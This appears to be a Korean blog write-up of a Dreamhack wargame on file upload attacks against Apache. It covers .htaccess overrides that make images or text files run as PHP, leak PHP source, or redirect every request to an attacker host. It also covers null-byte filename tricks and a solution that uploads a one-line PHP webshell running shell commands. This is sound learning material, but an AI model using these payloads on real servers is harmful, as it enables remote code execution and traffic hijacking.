파일 업로드 공격
1. .htaccess 이용
- 아파치 (Apache) 웹 서버는 일반적으로 /etc/apache2 또는 /etc/httpd 디렉터리에서 설정 파일을 관리
- AccessFileName 지시어를 사용해 설정 파일을 분산하여 관리할 수 있음, 기본적으로 .htaccess로 설정되어있음
root@ubuntu01:~# cat /etc/apache2/apache2.conf | grep ^AccessFileName
AccessFileName .htaccess
[root@centos01 ~]# cat /etc/httpd/conf/httpd.conf | grep ^AccessFileName
AccessFileName .htaccess
- .htaccess(hypertext access) 파일 = 분산 설정파일 = Apache 웹 서버 디렉토리 별로 설정을 제어할 수 있는 기본 파일, 특정 디렉토리에 위치하고 해당 디렉토리와 모든 하위 디렉토리에 영향을 행사함
- /etc/apache2/apache2.conf 에서 AllowOverride와 AllowOverrideList 지시어를 통해 명시한 설정들을 변경할 수 있음
# <Directory /var/www/html/>
# Options Indexes FollowSymLinks
# AllowOverride None
# </Directory>
<Directory /var/www/html/>
AllowOverride All
</Directory>
- 파일업로드 취약점이 있는 .htaccess 파일을 업로드해 덮어쓴다. 대표적인 technique으로는 3개정도 있는듯?
1) 확장자 설정 변경 후 웹쉘 업로드
<Files "webshell.jpg">
# Apache2 자체 mod_php를 사용하는 경우
SetHandler application/x-httpd-php
</Files>
* webshell.jpg 에 대한 요청이 들어오면 setHandler에 의해 명시된 핸들러가 처리, php 스크립트로 해석
AddType application/x-httpd-php .txt .zip
* 명시된 확장자들에 대해 php 파일 형식으로 인식시킴
=> 웹쉘 확장자 변경 후 (확장자 필터링 우회해) 업로드 및 공격
2) php 엔진 OFF 후 소스코드 확인
php_flag engine off
AddType text/plain .php
* php 소스코드가 주어지지 않았을 때 client interface에 소스코드 보이게 할 수 있음
* php 엔진을 꺼버린 후 php 파일을 text 파일로 인식하게 하여 plain text 형태로 코드 확인 가능
3) 공격자 서버로 Redirection
RewriteEngine On
RewriteOptions inherit
# HTTP Redirect 사용
RewriteRule (.*) http://attacker.address.com/$1
# 에러 페이지를 공격자의 웹 페이지로 리다이렉트합니다.
ErrorDocument 404 https://attacker.dreamhack.io/
* 모든 입력 URL에 대해 https://attacker.address.com 으로 리다이렉트함
* http://아파치 서버 주소/example 로 url 요청 시 https://공격자 주소/example 로 리다이렉트된다
2. 필터링 우회
1) 널문자 이용
URL 인코딩 입력 | C 문자열 상 표기 | 실제 인식된 파일명 |
foo/bar.jpg | "foo/bar.jpg" | foo/bar.jpg |
hello%00world | "hello\0world" | hello |
baz/qux.cfg%00.jpg | "baz/qux.cfg\0.jpg" | baz/qux.cfg |
- URL 파라미터에 %00(널 문자)를 삽입해 데이터 전송
- 일부 서버에서는 파일명에 널문자 포함 시 해당 부분을 파일명의 끝으로 인식
- 널 문자를 허용하고, 파일명의 끝에 있는 문자열을 확장자로 판단하는 웹 응용프로그램에서 사용 가능
2) Path traversal, 문자열 치환 우회
// 설명 생략
문제 분석
RUN apt-get install -y zip unzip tzdata curl
RUN apt-get install -y php5
RUN apt-get install -y apache2 libapache2-mod-php5
COPY ./flag.c /flag.c
RUN apt install -y gcc \
&& gcc /flag.c -o /flag \
&& chmod 111 /flag && rm /flag.c
Dockerfile 살펴보면
- 루트 디렉토리에 /flag 바이너리가 컴파일된 형태로 존재하고
- php5, acache2 웹 서버 를 사용하겠구나 알 수 있다
<Directory /var/www/html/>
AllowOverride All
Require all granted
</Directory>
config 파일을 살펴보면
- .htaccess 파일을 통해 모든 설정을 override 할 수 있고, 모든 사용자에게 접근 권한 부여했음을 확인 가능하다
<?php
$deniedExts = array("php", "php3", "php4", "php5", "pht", "phtml");
if (isset($_FILES)) {
$file = $_FILES["file"];
$error = $file["error"];
$name = $file["name"]; // uploaded 파일명
$tmp_name = $file["tmp_name"]; // 임시 디렉토리에 저장된 파일명
if ( $error > 0 ) {
echo "Error: " . $error . "<br>";
}else {
$temp = explode(".", $name); // '.' 기준으로 문자열 split해 배열 리턴
$extension = end($temp); // 마지막
if(in_array($extension, $deniedExts)){
die($extension . " extension file is not allowed to upload ! ");
}else{
move_uploaded_file($tmp_name, "upload/" . $name);
echo "Stored in: <a href='/upload/{$name}'>/upload/{$name}</a>";
}
}
}else {
echo "File is not selected";
}
?>
upload.php 파일을 보면
- index.php에서 업로드한 파일이 사용 불가능한 확장자를 가진지 검사 후 upload/ 디렉토리에 업로드한다
- 대소문자 우회 불가능(서버에서 php 파일로 해석 안하더라)
문제 풀이
AddType application/x-httpd-php .txt
혹은
<Files "webshell.jpg">
SetHandler application/x-httpd-php
</Files>
이렇게 해두고
<?php
system($_GET['cmd']);
?>
이런 webshell.php를 확장자를 바꿔서 서버에 업로드한다
- 로컬에서 확장자 바꿔서 업로드해도 되고
- Windows Defender에 걸린다면 그냥 burp suite로 POST 요청 잡아서 파일명만 바꿔도 된다
'security > 웹해킹' 카테고리의 다른 글
[Dreamhack CTF Season 4 Round #3] KeyCat (0) | 2023.08.06 |
---|---|
[Dreamhack Wargame] File Vulnerability Advanced for linux (0) | 2023.07.17 |
[Dreamhack Wargame] Command Injection Advanced (0) | 2023.07.15 |
Linux Command Injection Technique 정리 (0) | 2023.07.15 |
[Dreamhack Wargame] phpMyRedis + .rdb 파일을 이용한 웹쉘 업로드 (0) | 2023.07.15 |